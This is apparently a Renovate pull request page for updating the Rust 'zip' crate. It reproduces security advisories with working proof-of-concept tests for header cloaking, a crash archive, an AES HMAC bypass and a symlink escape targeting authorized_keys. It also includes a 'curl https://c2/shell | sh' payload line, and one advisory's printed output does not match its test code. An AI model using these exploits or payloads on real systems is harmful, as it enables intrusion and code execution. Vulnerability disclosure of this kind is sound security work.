Skip to content

chore(deps): update rust crate zip to v9 [security] - #1111

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/crate-zip-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/crate-zip-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 29, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change
zip workspace.dependencies major 8.6 → 9.0

zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE

CVE-2026-115905 / GHSA-m665-v7pm-7grj

More information

Details

Summary

A critical architectural parser differential exists in the zip crate (<= 9.0.4) between random-access archive readers (ZipArchive) and streaming readers (ZipStreamReader). ZipArchive considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, ZipStreamReader relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.


Details
Architectural Root Cause

In the PKWARE ZIP archive format, every file entry is defined in two distinct locations:

  1. Local File Header (LFH): Precedes the compressed payload of each file in the body of the archive.
  2. Central Directory File Header (CDFH): Stored in a contiguous index at the end of the archive.

In zip2:

  • src/read/zip_archive.rs: ZipArchive parses the central directory into SharedBuilder.files. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.
  • src/read/stream.rs:L86-L141: ZipStreamReader::visit and ZipStreamReader::extract read sequentially from the stream without verifying the central directory index. Each entry is parsed via read_zipfile_from_stream and written to disk using the unverified filename declared in the LFH:
    // src/read/stream.rs
    fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {
        file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;
        let mut outfile = fs::File::create(&outpath)?;
        io::copy(file, &mut outfile)?;
        Ok(())
    }
  • src/write.rs:L1552: The crate explicitly exposes shallow_copy_file, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.
Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
  1. Security Control Evasion: An adversary crafts a ZIP archive where:
    • Central Directory Header declares: doc_report.pdf (Clean document)
    • Local File Header declares: cron_worker.sh (Malicious root backdoor)
  2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using ZipArchive (or similar CDFH-first parsers), detects only doc_report.pdf, and approves the file.
  3. The backend worker or cloud function receives the approved archive and extracts it using ZipStreamReader::extract. ZipStreamReader reads the LFH and overwrites cron_worker.sh.
  4. Full Compromise (CIA = High): The legitimate production health checker / service script is destroyed (Availability = High / DoS), while the attacker's backdoor payload is implanted (Integrity = High / RCE).

Proof of Concept

The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against zip2:

use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    for i in 0..archive.len() {
        let name = archive.by_index(i).unwrap().name().unwrap().to_string();
        if name.ends_with(".sh") || name.ends_with(".exe") {
            return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
        }
        if !name.ends_with(".pdf") {
            return Err("Policy violation: only PDFs allowed!".into());
        }
    }
    Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
    // 1. Victim server setup: existing critical script
    let victim_env = tempdir().unwrap();
    let victim_dir = victim_env.path();
    let target_script = victim_dir.join("cron_worker.sh");
    fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

    // 2. Attacker crafts Single-Entry Dual-Header Archive
    // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
    let mut payload = Cursor::new(Vec::new());
    let mut writer = ZipWriter::new(&mut payload);
    writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
    writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
    writer.finish().unwrap();

    let mut malicious_zip = payload.into_inner();
    let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

    // 3. Gateway Inspection (Bypassed!)
    assert!(security_gateway_inspection(&malicious_zip).is_ok());

    // 4. Backend Extraction (ZipStreamReader)
    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

    // 5. Impact Verification
    let compromised = fs::read_to_string(&target_script).unwrap();
    assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
    assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
}
Verified Test Execution Output
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'

Impact

An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.

Who is Impacted:

  • Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.
  • Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).
  • Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction

CVE-2026-115909 / GHSA-q7v9-x93c-xqv3

More information

Details

Summary

The symbolic-link branch of ZipArchive::extract_internal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.

Details
#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

src/read/mod.rs#L399-L405 (reviewed commit 6f09b306); the same code is at src/read.rs#L417-L418 in released v8.6.0.

Both inputs are attacker-controlled:

  • ZipFile::size() returns uncompressed_size verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full u64 (src/read/mod.rs#L619-L625). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.
  • ZipFile::is_symlink() is decided entirely by the central directory's external-attributes field, via the S_IFLNK bit.

Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressed_size before a single byte of the entry is read. Vec::with_capacity() is infallible: on allocator refusal it calls handle_alloc_error(), which aborts the process. This is not a Rust panic — it is not caught by catch_unwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.

The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a catchable capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.

This is process termination, not memory exhaustion: Vec::with_capacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.

PoC

The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.

[package]
name = "zip-poc"
version = "0.1.0"
edition = "2021"

[dependencies]
zip = "8.6.0"
use std::{env, fs::File, io::BufReader};

fn main() {
    let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>");
    let outdir = std::env::temp_dir().join("zip-poc");
    std::fs::create_dir_all(&outdir).unwrap();

    let file = File::open(archive_path).unwrap();
    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();
    let r = archive.extract(&outdir);            // <-- process dies here
    println!("SURVIVED: {:?}", r);
}

Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.

Uncatchable abort — 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (S_IFLNK|0777); ZIP64 extra field declaring uncompressed_size = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.

UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==

Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:

entries=1
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)          # exit 134

The SURVIVED line never prints. Wrapping extract() in catch_unwind inside a spawned thread with panic = "unwind" produces the identical outcome.

Impact

Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catch_unwind, a worker thread, or a pre-flight metadata check.

Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.

Suggested remediation

Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::with_capacity() with fallible try_reserve() and return an I/O error when allocation fails. Do not use Linux's PATH_MAX as a cross-platform contract.

Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.

For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious number_of_files to zero and explicitly rejects an oversized central directory before reserving (src/read/zip_archive.rs#L185-L202). The symlink branch received neither guard. A survey of Vec::with_capacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


zip: AES Entry HMAC Authentication Bypass on Premature EOF

CVE-2026-115906 / GHSA-8hxf-qr8p-62x4

More information

Details

Summary

An AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared compressed_size, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.

Details

src/aes.rs:246-292:

fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
    if self.data_remaining == 0 { // @audit insufficient check
        return Ok(0);
    }

    // get the number of bytes to read, compare as u64 to make sure we can read more than
    // 2^32 bytes even on 32 bit systems.
    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;
    let read = self.reader.read(&mut buf[0..bytes_to_read])?;
    self.data_remaining -= read as u64;

    // Update the hmac with the encrypted data
    self.hmac.update(&buf[0..read]);

    // decrypt the data
    self.cipher.crypt_in_place(&mut buf[0..read]);

    // if there is no data left to read, check the integrity of the data
    if self.data_remaining == 0 {
        debug_assert!(
            !self.finalized,
            "Tried to use an already finalized HMAC. This is a bug!"
        );
        if self.finalized {
            return Err(Error::new(
                ErrorKind::InvalidData,
                "Tried to use an already finalized HMAC",
            ));
        }
        self.finalized = true;

        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash
        // see https://www.winzip.com/win/en/aes_info.html#auth-faq
        let mut read_auth_code = [0; AUTH_CODE_LENGTH];
        self.reader.read_exact(&mut read_auth_code)?;
        let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];

        // use constant time comparison to mitigate timing attacks
        if !constant_time_eq(computed_auth_code, &read_auth_code) {
            return Err(Error::new(
                ErrorKind::InvalidData,
                "Invalid authentication code, this could be due to an invalid password or errors in the data",
            ));
        }
    }

    Ok(read)
}

data_remaining starts at compressed_size - (2 + 10 + salt_length) (src/aes.rs:144-145), where compressed_size comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: ZipFileData::find_content() is just reader.take(self.compressed_size) (src/types.rs:214-223), and make_crypto_reader() passes the declared value into AesReader::new() (src/read/readers.rs).

When the entry's bounded reader reaches true EOF before the declared size, the inner reader returns Ok(0), the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the Take limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of read() means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.

This defeats the guarantee the type documents: "After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed."

AE-2 entries skip the CRC-32 check by design (src/read/readers.rs → Crc32Reader::new(.., should_disable = true)), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including by_index_decrypt(), by_name_decrypt(), by_path_decrypt(), and by_index_with_options() when a password is supplied. Bare extract() calls by_index() without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.

PoC

tests/aes_hmac_bypass.rs below; Cargo.toml needs only zip = { git = "https://github.com/zip-rs/zip2", rev = "6f09b3064ec87c3a69ea9f3413f9f9638b4aa446" }, or zip = "8.6.0" to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.

use std::io::{Cursor, Read, Write};
use zip::write::SimpleFileOptions;
use zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};

const PASSWORD: &str = "correct horse battery staple";
const GENUINE: &[u8] = b"balance: 100 USD\n";
const FORGED: &[u8] = b"balance: 999 USD\n";
const AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag

fn genuine_archive(plaintext: &[u8]) -> Vec<u8> {
    let mut w = ZipWriter::new(Cursor::new(Vec::new()));
    let opts = SimpleFileOptions::default()
        .compression_method(CompressionMethod::Stored)
        .with_aes_encryption(AesMode::Aes256, PASSWORD);
    w.start_file("secret.txt", opts).unwrap();
    w.write_all(plaintext).unwrap();
    w.finish().unwrap().into_inner()
}

/// What a victim does: open with the correct password and read the entry.
fn victim_reads(archive: &[u8]) -> std::io::Result<Vec<u8>> {
    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();
    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();
    let mut out = Vec::new();
    f.read_to_end(&mut out)?;
    Ok(out)
}

fn u16le(b: &[u8], off: usize) -> usize {
    u16::from_le_bytes([b[off], b[off + 1]]) as usize
}

/// Payload offset of the single local file header at offset 0.
fn payload_start(a: &[u8]) -> usize {
    30 + u16le(a, 26) + u16le(a, 28)
}

/// Control: on a well-formed archive the HMAC does reject forged ciphertext.

#[test]
fn tampering_is_detected_when_the_declared_size_is_honest() {
    let mut a = genuine_archive(GENUINE);
    let ct = payload_start(&a) + 18;
    for i in 0..GENUINE.len() {
        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable
    }
    let err = victim_reads(&a).unwrap_err();
    assert!(err.to_string().contains("Invalid authentication code"));
}

/// The bypass: chosen plaintext is delivered verbatim, without the password.

#[test]
fn hmac_is_bypassed_when_the_entry_ends_early() {
    let genuine = genuine_archive(GENUINE);
    let hdr_len = payload_start(&genuine);
    let eocd = genuine.len() - 22; // no archive comment yet
    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;

    // Park a second copy of the entry after the end-of-central-directory record,
    // inside the archive comment, so its data ends at true EOF. Header, salt and
    // password verifier are copied verbatim — no password knowledge is required.
    let mut evil = genuine.clone();
    let new_hdr_offset = evil.len() as u32;
    evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier
    for i in 0..GENUINE.len() {
        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.
        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);
    }
    let comment_len = (evil.len() - genuine.len()) as u16;
    evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes());

    // Repoint the central directory at the parked copy and declare more data than
    // is present, so `data_remaining` can never reach zero.
    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;
    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes());
    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes());
    let hdr2 = new_hdr_offset as usize;
    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes());

    let content = victim_reads(&evil).expect("BUG: unauthenticated content was accepted");
    assert_eq!(content, FORGED);
}

/// Second path: an entry with no payload bytes is never authenticated at all.

#[test]
fn hmac_is_never_checked_for_a_zero_length_entry() {
    let mut a = genuine_archive(b"");
    let tag = payload_start(&a) + 18;
    a[tag] ^= 0xff; // corrupt the 10-byte authentication code
    let content = victim_reads(&a).expect("BUG: a corrupt authentication code was accepted");
    assert!(content.is_empty());
}

Turning the genuine plaintext into a chosen plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.

Impact

Any application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.

Suggested remediation
  1. In AesReaderValid::read(), treat a short inner read as an error rather than a clean EOF: after the decrement, if read == 0 && self.data_remaining > 0, return ErrorKind::UnexpectedEof.
  2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when data_length == 0.
  3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in ZipFileData::find_content() / find_content_seek() (src/types.rs). Also make the compressed_size - overhead subtraction in AesReader::new() (src/aes.rs:144) checked — today a declared size below the AES overhead underflows it, which panics under overflow-checks and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.

CVE-2026-115908 / GHSA-hjqx-j4rw-g7xv

More information

Details

Summary
  • Verified version: zip 9.0.0-pre3
  • Affected versions: 7.2.0 and later
  • Precondition: The attacker knows (or can guess) the absolute path of the extraction destination

The validation applied to symlinks is purely lexical.
As a result, an attacker can write arbitrary files outside the extraction directory through a symlink.
Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, /opt/app, a fixed Downloads path, and so on.

Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases):
Because simplified_components discards the Prefix component, paths like D:\<same tail as dest> or a UNC path \\attacker\share\<same tail> pass the starts_with check.
As a result, outpath.push gets replaced onto a different drive/remote share, so a single symlink is enough — no intermediate symlink chain is required.
That said, creating a symlink on Windows requires SeCreateSymbolicLinkPrivilege (administrator rights or Developer Mode enabled).
Real-hardware verification (Windows 10 VM (19045.2604), tests/poc_win.rs):
With the extraction target set to a temporary directory under C:, both of the following paths returned Ok(()) from extract() and successfully wrote outside the extraction target.
In both cases extract() returned no error (Ok(())), and it was confirmed that the contents of pwned.txt matched the attacker-specified value.

Relationship to CVE-2025-29787

This is not a duplicate of the existing CVE-2025-29787 (2025-03); rather, the protection introduced for that CVE was subsequently lost.

Timeline (git history, UTC)
commit Date Description
d4539d6b 2025-02-28 Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination
0199ac2c 2025-03-15 Before the v2.3.0 release, the above is replaced with a lexical check based on simplified_components
v2.3.0 2025-03-16 Released as the CVE fix. What actually shipped is the lexical check
d5cf4b55 2026-01-18 Changes how simplified_components handles absolute paths, from rejecting them to silently stripping them (released in v7.2.0)
Why v2.3.0 was not affected, and how the protection was lost

The safe_prepare_path in v2.3.0 performs essentially the same lexical check as the current code. However, simplified_components at that time rejected any path containing an absolute component, so an absolute symlink target was never accepted in the first place and this attack path did not work.

// v2.3.0: reject absolute paths
Component::Prefix(_) | Component::RootDir => return None,

// Current: ignore the fact that the path is absolute
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),

d5cf4b55 was intended to make archives containing absolute path names extractable, but as a side effect absolute symlink targets now pass the lexical check, which silently removed the protection against CVE-2025-29787.

Verification

The following three cases were compared using the same build (9.0.0-pre3):

Payload / condition Result
Original PoC for CVE-2025-29787 (relative symlink parent -> ../) Blocked with Err(InvalidArchive("Invalid symlink target path")) (the CVE fix itself is effective)
PoC in this report (two-stage symlink using absolute paths) Succeeds with Ok(()), writing outside the destination
PoC in this report, with the d5cf4b55 change reverted to return None Blocked with Err(InvalidArchive("Invalid symlink target path"))

The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate.
The third row confirms that this vulnerability originates from the change in d5cf4b55.

Differences from CVE-2025-29787
  • Stricter precondition: This issue requires the absolute path of the destination to be known (AC:H). The CVE worked with a relative ../ and had no such precondition.
  • Narrower API surface: This issue affects only ZipArchive::extract (and extract_unwrapped_root_dir). ZipStreamReader::extract is not affected, because external_attributes in the local header is 0 and therefore is_symlink() never returns true (the CVE affected both APIs).
Details
Lexical validation of the path string

The symlink validation in src/read/zipfile.rs: L290-345 is lexical.

src/read/zipfile.rs: fn safe_prepare_path (L316-321):

if !crate::path::simplified_components(&target)
    .ok_or(invalid!("Invalid symlink target path"))?
    .starts_with(
        &crate::path::simplified_components(base_path)
            .ok_or(invalid!("Invalid base path"))?,
    )

simplified_components discards the information that a path is absolute (drive prefix / root), normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.

Consequently, the classic Zip Slip vector using .. is blocked, but paths that involve symlink resolution are not.

src/path.rs: fn simplified_components (L9~26):

/// Simplify a path by removing the prefix and parent directories and only return normal components
pub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> {
    let mut out = Vec::new();
    let input_str = input.to_str()?;
    for component in Utf8WindowsPath::new(input_str).components() {
        match component {
            // Skip prefix and root directory components instead of rejecting the entire path
            // This allows extraction of ZIP files with absolute paths, similar to other ZIP tools
            Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
            Utf8WindowsComponent::ParentDir => {
                out.pop()?;
            }
            Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)),
            Utf8WindowsComponent::CurDir => (),
        }
    }
    Some(out)
}
Insufficient validation of target

Once the path check passes, src/read/zipfile.rs: fn safe_prepare_path (L345) performs outpath.push(target), but whether any intermediate component of target is itself a symlink is never checked.

In addition, make_symlink, which is called from extract_internal, delegates to make_symlink_impl and only validates that the archive-supplied target is valid UTF-8.
There is no check that target stays inside the destination, so the symlink is created as-is.

src/read/mod.rs: fn extract_internal (L396-406):

#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize);
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
} else if file.is_dir() {
    make_writable_dir_all(&outpath)?;
    continue;
}

src/read/mod.rs: fn make_symlink_impl (L57-90):

#[cfg(unix)]
pub(crate) fn make_symlink_impl<T>(
    outpath: &Path,
    target_str: &str,
    _existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
    std::os::unix::fs::symlink(Path::new(&target_str), outpath)?;
    Ok(())
}

#[cfg(windows)]
pub(crate) fn make_symlink_impl<T>(
    outpath: &Path,
    target_str: &str,
    existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
    use crate::format::functions::is_dir;
    let target = Path::new(OsStr::new(&target_str));
    let target_is_dir_from_archive =
        is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes());
    let target_is_dir = if target_is_dir_from_archive {
        true
    } else if let Ok(meta) = std::fs::metadata(target) {
        meta.is_dir()
    } else {
        false
    };
    if target_is_dir {
        std::os::windows::fs::symlink_dir(target, outpath)?;
    } else {
        std::os::windows::fs::symlink_file(target, outpath)?;
    }
    Ok(())
}
Contradiction with the doc comment

The documentation comment of extract at src/read/mod.rs: L266-269 states the following.
In reality, however, there is no validation when a symlink is created, and canonicalize is not used to validate symlink targets (canonicalize is used only in src/read/mod.rs: fn extract_internal (L357), to normalize the destination directory itself).

    /// Extract a Zip archive into a directory, overwriting files if they
    /// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only
    /// created and followed if the target is within the destination directory (this is checked
    /// conservatively using [`std::fs::canonicalize`]).

Combining the above makes it possible to write outside the destination during extraction:

entry kind target
b symlink /…/outside (created without validation)
a symlink <dest>/b/sub (lexically under dest, so it passes the check)
a/pwned.txt file -

Entries are processed in central directory order (for i in 0..self.len() at src/read/mod.rs: L386), so the order above (b -> a -> a/pwned.txt) is required.

Extraction then proceeds as follows:

  1. b: without any validation, the symlink <dest>/b -> /…/outside, pointing outside the destination, is created.
  2. a: likewise without validation, <dest>/a -> <dest>/b/sub is created.
  3. a/pwned.txt: when safe_prepare_path processes the component a, it sees that <dest>/a is a symlink and validates its target (<dest>/b/sub). Lexically that target is under <dest>, so the check passes and outpath becomes <dest>/b/sub.
    • At this point, the fact that b, an intermediate component of the target, is a symlink pointing outside is never re-validated.
    • Because a is not the final component, make_writable_dir_all is called and creates <dest>/b/sub (which really is /…/outside/sub).
  4. Finally File::create creates <dest>/b/sub/pwned.txt; the kernel resolves b and writes to /…/outside/sub/pwned.txt. extract() returns Ok(()).
PoC

The PoC below is written as a unit test.
Place it at tests/poc_linux.rs and run cargo test --test poc_linux -- --nocapture to reproduce.

  • zip_slip_via_symlink: Write a new file outside the extraction destination
  • overwrite_existing_ssh_authorized_keys: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination

tests/poc_linux.rs

//! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//! 
//! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`)
//! By placing an outward-pointing symlink `b` as an "intermediate component in the resolved path", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified.
//! Can be reproduced with `cargo test --test poc_linux -- --nocapture`

#![cfg(unix)]

use std::fs;
use std::io::{Cursor, Write};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

/// Verification of writing a new file outside the extraction destination

#[test]
fn zip_slip_via_symlink() {
    let tmp = TempDir::new().unwrap();
    let dest = tmp.path().join("dest"); // Extraction destination
    let outside = tmp.path().join("outside"); // A location where writing should not be allowed
    fs::create_dir(&dest).unwrap();
    fs::create_dir(&outside).unwrap();

    // Construct a malicious ZIP
    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
    let opt = SimpleFileOptions::default();
    // b: Symlink pointing outside (target is created unverified)
    zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap();
    // a: Symlink whose target starts under dest (passes lexical validation)
    zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap();
